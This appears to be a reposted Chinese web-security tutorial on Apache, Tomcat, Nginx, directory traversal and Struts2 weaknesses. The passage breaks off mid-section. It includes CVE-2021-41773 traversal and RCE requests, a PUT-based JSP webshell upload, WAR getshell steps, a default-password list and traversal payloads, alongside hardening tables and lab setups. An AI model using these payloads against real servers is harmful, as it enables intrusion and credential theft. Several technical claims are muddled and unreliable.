关于 Web 安全:4. 中间件 & 框架风险点分析

06-01 1008阅读

一、Apache

Apache HTTP Server(httpd) 是全球最广泛使用的 Web 服务器之一,支持模块化扩展、高度配置灵活,常见于 Linux 服务器中。

  • 默认端口:80(HTTP)

  • 配置文件路径:/etc/httpd/conf/httpd.conf 或 /etc/apache2/apache2.conf

  • 支持 .htaccess 进行目录级别配置

    1.1 Apache 配置错误导致的绕过

    1).htaccess 限制绕过

    .htaccess 文件可控制子目录访问权限,若配置不当,可被特殊路径绕过。

    示例:

        Order allow,deny
        Deny from all
    
    

    但访问:

    http://target.com/private/.%2e/
    http://target.com/private/%2e%2e/
    

    在某些旧版本中,.%2e 会被解析为 .. → 导致绕过。

    2)Alias 配置引发的信息泄露

    Alias /secret /var/backups/
    
        Require all denied
    
    

    攻击者访问:

    http://target.com/secret/.git/config
    

    可能绕过访问限制。

    3)多路径绕过

    Apache 会将部分路径做解码后再处理,可能引发绕过:

    • %2e/ → ./

      关于 Web 安全:4. 中间件 & 框架风险点分析
      (图片来源网络,侵删)
    • %2e%2e/ → ../

    • ....// → ../

      关于 Web 安全:4. 中间件 & 框架风险点分析
      (图片来源网络,侵删)

      配合错误的路径解析逻辑,就能穿越目录限制,访问敏感文件。

      1.2 Apache 目录穿越风险点(Directory Traversal)

      1)原理:攻击者通过构造 ../ 或编码形式访问 Web 根目录外的文件。

      2)示例请求:

      GET /download?file=../../../../etc/passwd HTTP/1.1
      

      如果没有做参数过滤,Apache 会将其视为路径拼接的一部分,读取系统敏感文件。

      3)编码绕过形式:

      编码形式说明
      ..%2f../ 编码后
      %c0%ae%c0%ae过时编码法(Apache 1.x/2.0)
      ....//多点形式绕过
      %2e%2e/同样表示 ../

      1.3 Apache 文件解析风险点(文件双扩展)

      原理:Apache 解析文件时,仅按第一个后缀决定类型,例如:

      test.php.txt → Apache 仍当成 PHP 执行(配置问题)
      

      配合上传风险点使用,可以绕过上传限制,实际上传并执行 WebShell。

      1.4 Apache RCE 风险点(远程命令执行)

      虽然 Apache 本身结构比较简单,逻辑风险点少见,但其某些模块曾经存在过 RCE 风险点。

      案例:Apache HTTP Server Path Normalization RCE

      • 风险点编号:CVE-2021-41773、CVE-2021-42013

      • 影响版本:Apache 2.4.49、2.4.50

      • 触发条件:

        • 配置开启了 Require all granted

        • 使用路径绕过,如 %2e%2e

          风险点利用:

          GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
          

          甚至可以直接 RCE:

          POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
          Content-Type: application/x-www-form-urlencoded
          echo;id
          

          修复方法:

          • 升级 Apache 至 >=2.4.51

          • 禁用路径访问并配置严格 Directory 控制

            1.5 安全配置建议(防止绕过/穿越)

            项目建议
            .htaccess不要依赖,仅在主配置中定义权限
            URL 编码处理禁用双重解码(AllowEncodedSlashes NoDecode)
            文件上传使用白名单校验后缀、类型
            限制执行目录SetHandler none 配合 Directory
            禁止 .git / .svnRedirectMatch 404 /\.git
            开启 WAF / ModSecurity阻止非法路径访问

            1.6 实战环境与复现方式

            推荐靶场(带 Apache 配置风险点):

            • Vulhub: https://github.com/vulhub/vulhub

              • 包含 CVE-2021-41773 的 Apache RCE 环境

              • 风险点演示 Docker:

                cd vulhub/apache/CVE-2021-41773
                docker-compose up -d
                

                然后访问:

                curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
                

                1.7 自动化工具扫描

                工具用途
                Nuclei快速扫描 Apache CVE
                xray配合 Burp Suite 拦截/扫描
                Dirsearch扫描敏感目录路径
                Nikto检测 Apache 配置风险点

                二、Tomcat

                Apache Tomcat 是一款开源的 Java Servlet 和 JSP 容器,是运行 Java Web 项目的主流服务器,通常监听 8080 端口。典型部署路径:

                /opt/tomcat/ 或 /usr/local/tomcat/
                

                2.1 Tomcat 常见攻击面汇总

                类型风险点或问题
                配置弱点默认后台 / 弱口令 / manager 控制台未授权
                文件上传WAR 包部署 Getshell
                路径穿越利用 %c0%ae 编码穿越目录
                RCE多个 CVE 历史远程代码执行风险点
                信息泄露配置文件、版本、栈追踪
                AJP 协议AJP Ghostcat 风险点 RCE(CVE-2020-1938)

                2.2 Tomcat 后台管理页面 Getshell

                1)Tomcat 默认后台路径

                • /manager/html

                • /host-manager/html

                  若未设置密码或使用弱口令,攻击者可登录后台,上传 WebShell。

                  2)默认弱口令组合(字典打点)

                  用户名密码
                  tomcattomcat
                  adminadmin
                  rootroot
                  tomcat(空)

                  可以用 nmap+http-enum 或 hydra 爆破登录后台。

                  3)后台上传 WebShell(WAR 包部署)

                  上传方式:

                  Tomcat 后台支持上传 .war 格式的 Java 应用包。只要上传成功,就能访问其中的 JSP 文件,实现命令执行。

                  手动部署流程:

                  • 制作一个 shell.jsp 并打成 .war 包,例如 shell.war

                  • 登录后台 /manager/html 页面,上传该 .war

                  • 访问:http://target:8080/shell/shell.jsp

                    这个是 Tomcat 最常见的打点方式之一。

                    2.3 Tomcat 任意文件上传(CVE-2017-12615)

                    风险点版本:Tomcat 7.x for Windows,在未开启 PUT 禁止的情况下,支持直接用 PUT 上传 JSP 文件。

                    利用流程:

                    curl -X PUT "http://target:8080/shell.jsp" -d ""
                    curl http://target:8080/shell.jsp
                    

                    条件:

                    • Windows 环境

                    • WebDAV PUT 方法未禁用

                    • MIME 类型未限制

                      用法同文件上传风险点,最终直接访问上传的 JSP 文件实现命令执行。

                      2.4 Tomcat 路径穿越(CVE-2020-1938 / Ghostcat)

                      组件:AJP(默认监听 8009)

                      Apache JServ Protocol 是 Tomcat 内部通信协议,未认证,高危

                      风险点详情:

                      • CVE-2020-1938

                      • 可利用 AJP 协议进行文件包含 / LFI / RCE

                      • 可读取 web.xml,甚至插入 WebShell

                        利用工具:

                        • ajpShooter(可读配置文件)

                        • GhostcatScan(批量扫描)

                        • TomcatAjpExploit.py(远程写入 WebShell)

                          2.5 信息泄露风险

                          1)目录列目录开启

                          http://target:8080/examples/
                          

                          暴露源码、上传功能、shell 文件等。

                          2)配置文件泄露

                          • web.xml:可读取部署结构

                          • tomcat-users.xml:后台账户密码

                          • catalina.out:日志信息

                            2.6 实战复现:Tomcat 后台上传 getshell

                            环境部署(用 Vulhub):

                            git clone https://github.com/vulhub/vulhub
                            cd vulhub/tomcat/CVE-2017-12615
                            docker-compose up -d
                            

                            访问:

                            curl -X PUT http://localhost:8080/shell.jsp -d ""
                            curl http://localhost:8080/shell.jsp?cmd=whoami
                            

                            2.7 安全防护建议

                            项目建议
                            删除后台上线时移除 /manager /host-manager
                            强密码设置强管理员密码
                            禁止 PUT在 web.xml 禁止 PUT 方法
                            关闭 AJP不使用时直接注释 AJP 端口
                            限制上传目录上传目录配置不允许执行(非 Web 根目录)
                            设置 MIME 类型不允许 JSP 作为普通上传类型

                            2.8 辅助工具推荐

                            工具用途
                            Nmap + NSE检测后台、AJP 端口
                            Burp Suite中间人攻击后台登录
                            Metasploittomcat_mgr_upload 模块
                            tomcatScan.py爆破后台、上传 WAR 包
                            AjpShooterAJP 文件包含、读取

                            三、Nginx 配置绕过

                            Nginx 是轻量级、高性能的反向代理服务器/负载均衡器,也可作为 HTTP 服务器使用,配置灵活但容易出现逻辑风险点。

                            常见路径:

                            /etc/nginx/nginx.conf
                            /etc/nginx/sites-enabled/default
                            

                            3.1 Nginx 配置绕过的本质

                            Nginx 本身不具备权限控制能力(不像 Apache 可配 .htaccess),它是基于 URI 路由规则匹配实现访问控制的。

                            如果配置不当或存在特殊匹配顺序问题,就可能被攻击者通过构造特殊路径来绕过访问控制、执行敏感操作或访问禁止资源。

                            3.2 常见 Nginx 绕过技巧

                            1)文件后缀伪装绕过(别名与路径处理不一致)

                            >示例配置:

                            location /uploads/ {
                                deny all;
                            }
                            location ~ \.php$ {
                                fastcgi_pass 127.0.0.1:9000;
                            }
                            

                            >绕过方法:

                            上传 shell.php.jpg,然后直接访问:

                            http://target/uploads/shell.php.jpg
                            

                            Nginx 认为是静态资源(.jpg),但后端 PHP-FPM 可能仍会解析成 PHP 执行。

                            2)alias 搭配 location 配置错误导致绕过

                            location /static/ {
                                alias /var/www/private/;
                                deny all;
                            }
                            

                            但若访问路径中包含 ..:

                            http://target/static/../private/config.php
                            

                            则可能访问到 alias 指定目录外的文件(目录穿越),或因 解析位置不一致 被访问成功。

                            3)内部路径访问绕过

                            location /admin {
                                allow 127.0.0.1;
                                deny all;
                            }
                            

                            在未启用 exact match 时,路径 /adminabc 会被匹配到 /admin,从而无法禁止访问。

                            >绕过方式:

                            http://target/admin.%00/
                            http://target/admin%20/
                            http://target/admin;/index.php
                            

                            4)斜杠编码绕过(路径混淆)

                            Nginx 对 / 的编码和解码逻辑不严谨,存在如下绕过方式:

                            构造说明
                            %2e等价于 .
                            %2f等价于 /
                            %c0%ae老版本中等价于 .
                            %ef%bc%8f全角斜杠

                            用于构造:

                            /admin%2f../uploads/
                            /admin%ef%bc%8f../uploads/
                            

                            5)使用 $uri 与 $request_uri 不一致造成绕过

                            location /protected/ {
                                root /data;
                                try_files $uri =404;
                            }
                            

                            若未正确处理 $request_uri,可能会将原始请求保留,从而产生解析差异导致绕过。

                            6)使用正则匹配导致权限绕过

                            location ~ ^/private/.*$ {
                                deny all;
                            }
                            

                            攻击者访问:

                            /private.evil/xx.php
                            

                            绕过正则匹配条件(正则写法不严格)。

                            7)代理后端绕过:Nginx + PHP-FPM / Node.js 时路径控制不一致

                            Nginx 处理路径时解码,而后端应用如 PHP-FPM / Node.js 可能再次解码,造成双重解码绕过。

                            location ~ \.php$ {
                                fastcgi_pass 127.0.0.1:9000;
                            }
                            

                            上传一个 a.php%00.jpg,绕过 .jpg 白名单。

                            8)Nginx 无法禁止实际物理目录文件(与 try_files 配合)

                            location /admin {
                                deny all;
                            }
                            

                            但若 /admin/index.html 存在,且使用:

                            location / {
                                try_files $uri $uri/ /index.php;
                            }
                            

                            可能仍会访问成功。

                            3.3 实际风险点案例分析

                            CVE-2017-7529:Nginx range 越界整数溢出(DoS 信息泄露)

                            影响版本:

                            攻击方式:构造非法 Range 头,造成整数溢出读取服务器敏感内容。

                            Range: bytes=-9223372036854775808,0
                            

                            如果存在缓存代理服务,可造成信息泄露甚至崩溃。

                            SSRF 绕过场景(Nginx 转发时不验证 Host)

                            如果配置:

                            location /api/ {
                                proxy_pass http://backend/;
                            }
                            

                            攻击者访问:

                            curl http://target/api/http://127.0.0.1:9000/admin
                            

                            后端未验证 Host,可能造成 SSRF + 内部接口访问。

                            3.4 防御与安全配置建议

                            项目建议
                            路径匹配使用 = 或 ^~ 精确匹配路径
                            禁止执行目录将上传目录设为静态资源目录
                            后缀白名单后端必须限制执行文件后缀
                            禁止特殊编码设置 merge_slashes off; 等规则
                            拒绝不安全方法如 PUT、TRACE 等
                            禁用 AJP / 限制内网避免暴露后端协议端口

                            3.5 工具推荐

                            工具用途
                            Dirsearch / Ffuf发现被绕过的目录
                            Nuclei快速检测路径绕过规则
                            Burp Suite手动构造编码绕过请求
                            Nikto检测 Web 服务配置风险点
                            Xray自动识别 Nginx 配置问题

                            3.6 实战复现环境推荐

                            • Vulhub 中的 Nginx 路径穿越与反代穿透环境

                            • 自建 Nginx 示例配置 + PHP-FPM 实现绕过和解析差异

                            • 配合 Burp 手动构造 %2e、%2f、%00 等路径参数进行验证


                              四、目录穿越

                              目录穿越(Directory Traversal) 是指攻击者利用服务端对用户输入的路径过滤不严,通过构造 ../ 或变种,访问本不应暴露的服务器文件,如配置文件、密码、敏感代码等。

                              本质:服务端直接或拼接式地读取了用户输入的文件路径,未做或未正确做 路径净化(path sanitization)。

                              4.1 常见利用方式

                              1)基本绕过方式(Linux)

                              GET /download.php?file=../../../../etc/passwd
                              

                              2)Windows 系统下的路径穿越

                              GET /read?file=..\..\..\windows\win.ini
                              

                              3)多层绕过构造技巧

                              构造方式示例
                              URL 编码%2e%2e%2f = ../
                              双重编码%252e%252e%252f
                              Unicode 编码%u2216u2216..%u2216
                              文件截断file=../../../secret.txt%00.jpg
                              大小写混淆..%2f..%5cetc/passwd

                              4.2 目录穿越风险点常见场景

                              1)文件读取类接口

                               
                              

                              攻击:

                              /index.php?file=../../../../../../etc/passwd
                              

                              2)下载功能

                              readfile("/downloads/" . $_GET['f']);
                              

                              攻击:

                              /download?f=../../../etc/shadow
                              

                              3)日志查看器、错误信息回显功能

                              很多后台管理系统或 CMS 也存在这种功能,被攻击者用于读取任意日志或代码文件。

                              4.3 真实案例分析

                              CVE-2021-41773(Apache 目录穿越 + RCE)

                              • Apache 2.4.49/2.4.50 的路径规范化存在风险点

                              • 构造请求即可访问任意文件:

                                GET /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
                                

                                如果开启了 CGI 解析甚至可远程执行命令(RCE)。

                                ThinkPHP 5.0.x 的任意文件读取

                                构造:

                                /index.php?s=../../../../../public/index/think/app/invokefunction&function=phpinfo
                                

                                利用 think/invokefunction 接口实现文件包含甚至命令执行。

                                4.4 目录穿越变种风险点

                                1)任意文件读取(LFI)

                                • Directory Traversal 往往是 LFI 的入口(Local File Inclusion)

                                • 利用 php://filter、zip、data 协议可进一步提升危害

                                  2)配合上传 getshell(穿越路径控制写入位置)

                                  上传点绕过时可以构造 filename=../../webroot/shell.jsp,从而造成任意文件写入 + Getshell

                                  4.5 危险文件读取点汇总

                                  文件名说明
                                  /etc/passwdLinux 系统用户信息
                                  /etc/shadow密码哈希
                                  /var/log/nginx/access.log访问日志
                                  C:\Windows\win.iniWindows 配置文件
                                  web.xml / .envWeb 项目配置信息
                                  .git/configGit 信息泄露
                                  config.php / db.php数据库密码

                                  4.6 防御方式

                                  防护措施描述
                                  路径白名单严格限定可访问路径范围
                                  路径净化使用 realpath()、basename() 等函数处理
                                  禁止 ..明确过滤 ../、..\、编码后的形式
                                  权限隔离运行用户权限受限(无 root 读权限)
                                  WAF 策略拦截常见穿越 payload(../、%2e%2e%2f)
                                  日志监控实时记录并监控路径异常请求

                                  4.7 目录穿越检测技巧

                                  1)使用 Burp Intruder 自动爆破测试

                                  Payload 列表示例:

                                  ../../../../etc/passwd
                                  ..%2f..%2f..%2fetc%2fpasswd
                                  ..%5c..%5c..%5cwindows%5cwin.ini
                                  

                                  2)Fuzz 文件读取接口的参数名

                                  如 file=, path=, url=, page=, log= 等常见关键字。

                                  3)使用自动化工具

                                  工具功能
                                  DirBuster / Dirsearch爆破目录路径
                                  Burp Scanner / ZAP自动检测穿越点
                                  Nuclei使用模板检测文件读取/穿越
                                  LFI-Freak自动化 LFI 风险点利用
                                  DotDotPwn专门的目录穿越 Fuzzer

                                  4.8 实战复现环境推荐

                                  Vulhub 示例:

                                  git clone https://github.com/vulhub/vulhub
                                  cd vulhub/apache/CVE-2021-41773
                                  docker-compose up -d
                                  

                                  然后:

                                  curl http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
                                  

                                  4.9 小结

                                  技术点是否关键
                                  是否可访问文件系统 是
                                  是否能影响逻辑执行 是(如 PHP include)
                                  是否可结合上传 Getshell 非常常见
                                  穿越 + LFI / RCE 是否可联动 是
                                  是否能轻松被发现 一般需构造精确路径绕过

                                  五、Struts2

                                  Struts2 风险点详解(历史风险点分析与复现)

                                  Struts2 是 Apache 组织开发的 Java Web MVC 框架,由于其基于 OGNL(对象图导航语言)表达式处理机制,历史上曾多次爆出高危远程命令执行(RCE)风险点,造成了 大规模数据泄露与服务器被控。

                                  Struts2 的核心问题:OGNL 表达式注入

                                  OGNL 是 Struts2 的一种表达式语言,用于页面变量访问、标签处理等。但由于早期版本对输入参数未严格过滤,攻击者可以构造恶意表达式,并让服务器解析执行,从而远程执行系统命令。

                                  5.1 代表性风险点一览

                                  编号风险点名影响范围危害
                                  S2-005OGNL 注入
免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。

相关阅读

目录[+]

取消
微信二维码
微信二维码
支付宝二维码